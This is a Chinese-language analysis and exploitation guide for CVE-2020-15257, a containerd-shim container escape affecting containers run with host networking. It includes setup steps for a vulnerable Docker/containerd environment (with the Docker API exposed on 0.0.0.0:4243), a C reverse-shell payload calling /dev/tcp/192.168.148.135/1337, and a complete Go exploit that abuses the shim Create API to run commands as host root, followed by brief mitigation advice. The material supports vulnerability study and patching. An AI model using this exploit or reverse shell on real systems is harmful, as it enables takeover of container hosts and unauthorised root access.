CVE-2020-15257-host模式容器逃逸漏洞分析
字数 1348 2025-08-18 17:33:25
CVE-2020-15257 Host模式容器逃逸漏洞分析与利用指南
1. 漏洞概述
CVE-2020-15257是containerd中的一个安全漏洞,影响使用--net=host网络模式的容器。该漏洞允许容器内的攻击者通过containerd-shim API实现容器逃逸,获取宿主机root权限。
2. 基础知识
2.1 容器攻击面
容器共有7个主要攻击面:
- Linux Kernel
- Namespace/Cgroups/Aufs
- Seccomp-bpf
- Libs
- Language VM
- User Code
- Container(Docker) engine
2.2 containerd架构
Dockerd通过containerd的API接口管理容器,containerd是Dockerd和runc之间的中间组件,主要负责:
- 容器运行
- 镜像管理
架构层次:
- Dockerd (上层)
- containerd (中间层,提供gRPC接口)
- containerd-shim (与runc结合创建运行容器)
2.3 OCI Bundle
OCI Bundle是符合OCI标准的一系列文件,包含运行容器所需的所有数据:
config.json:容器运行的配置数据- 容器的root filesystem
3. 漏洞环境搭建
3.1 主机环境要求
- 操作系统:Ubuntu 18.04.1 LTS
- 内核版本:4.15.0-47-generic
3.2 安装特定版本组件
-
安装Docker 18.09.0:
wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz tar xvpf docker-18.09.0.tgz sudo cp -p docker/* /usr/bin -
配置docker.service文件:
[Unit] Description=Docker Application Container Engine Documentation=http://docs.docker.com After=network.target docker.socket [Service] Type=notify EnvironmentFile=-/run/flannel/docker WorkingDirectory=/usr/local/bin ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock --selinux-enabled=false --log-opt max-size=1g ExecReload=/bin/kill -s HUP $MAINPID LimitNOFILE=infinity LimitNPROC=infinity LimitCORE=infinity Delegate=yes KillMode=process Restart=on-failure [Install] WantedBy=multi-user.target -
启动Docker服务:
systemctl daemon-reload systemctl restart docker systemctl enable docker -
安装containerd 1.3.7:
sudo apt install containerd.io=1.3.7-1 -
安装Go语言环境:
sudo apt install golang -
拉取Ubuntu镜像:
sudo docker pull ubuntu:18.04 -
运行测试容器:
sudo docker run -ti --rm --network=host <IMAGE_ID>
4. 漏洞分析
4.1 漏洞成因
当容器以--net=host模式启动时,会暴露containerd-shim监听的Unix域套接字。这些套接字位于:
@/containerd-shim/{sha256}.sock
关键问题:
- 这些抽象Unix域套接字没有使用mnt命名空间隔离
- 仅依赖网络命名空间隔离
- 攻击者可通过containerd-shim API进行操作实现逃逸
4.2 containerd-shim API
可调用的API包括:
service Shim {
rpc State(StateRequest) returns (StateResponse);
rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
rpc Start(StartRequest) returns (StartResponse);
rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
// ...其他API...
}
4.3 关键利用点
Create API相当于执行runc create,可以读取config.json配置创建新容器。特别重要的是stdout参数支持多种协议,包括:
binary:///bin/sh?-c=<command>
5. 漏洞利用
5.1 利用步骤
-
获取必要信息:
- 容器ID:从
/proc/self/cgroup获取 - 宿主机存储路径:从
/etc/mtab获取
- 容器ID:从
-
准备Payload:
- 编写反弹shell的C程序并编译
#include <stdio.h> #include <stdlib.h> int main() { system("/bin/sh -i >& /dev/tcp/192.168.148.135/1337 0>&1"); return 0; }- 将编译后的程序放在容器根目录(对应宿主机路径)
-
利用Create API执行Payload:
r, err := shimClient.Create(ctx, &shimapi.CreateTaskRequest{ ID: docker_id, Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json", Runtime: "io.containerd.runtime.v1.linux", Stdin: "anything", Stdout: "binary:///bin/sh?-c="+payload_path+"nc", Stderr: "anything", Terminal: false, Checkpoint: "anything", })
5.2 完整利用代码
package main
import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"
"github.com/containerd/ttrpc"
shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
)
func getDockerID() (string, error) {
re, err := regexp.Compile("pids:/docker/.*")
if err != nil {
return "", err
}
data, err := ioutil.ReadFile("/proc/self/cgroup")
matches := re.FindAll(data, -1)
if matches == nil {
return "", errors.New("Cannot find docker id")
}
tmp_docker_id := matches[0]
docker_id := string(tmp_docker_id[13 : len(tmp_docker_id)])
return docker_id, nil
}
func getMergedPath() (string, error) {
re, err := regexp.Compile("workdir=.*")
if err != nil {
return "", err
}
data, err := ioutil.ReadFile("/etc/mtab")
matches := re.FindAll(data, -1)
if matches == nil {
return "", errors.New("Cannot find merged path")
}
tmp_path := matches[0]
path := string(tmp_path[8 : len(tmp_path)-8])
merged := path + "merged/"
return merged, nil
}
func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}
func exp(sock string, docker_id string, payload_path string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}
client := ttrpc.NewClient(conn)
shimClient := shimapi.NewShimClient(client)
ctx := context.Background()
md := ttrpc.MD{}
md.Set("containerd-namespace-ttrpc", "notmoby")
ctx = ttrpc.WithMetadata(ctx, md)
r, err := shimClient.Create(ctx, &shimapi.CreateTaskRequest{
ID: docker_id,
Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json",
Runtime: "io.containerd.runtime.v1.linux",
Stdin: "anything",
Stdout: "binary:///bin/sh?-c="+payload_path+"nc",
Stderr: "anything",
Terminal: false,
Checkpoint: "anything",
})
if err != nil {
log.Println(err)
return false
}
log.Println(r)
return true
}
func main() {
matchset := make(map[string]bool)
socks, err := getShimSockets()
docker_id, err := getDockerID()
log.Println("find docker id:", docker_id)
merged_path, err := getMergedPath()
log.Println("find path:", merged_path)
if err != nil {
log.Fatalln(err)
}
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname, docker_id, merged_path) {
break
}
}
return
}
6. 防御措施
- 升级containerd:升级到修复版本(1.3.9或1.4.3及以上)
- 避免使用host网络模式:除非绝对必要
- 实施命名空间隔离:确保正确配置命名空间
- 限制容器权限:遵循最小权限原则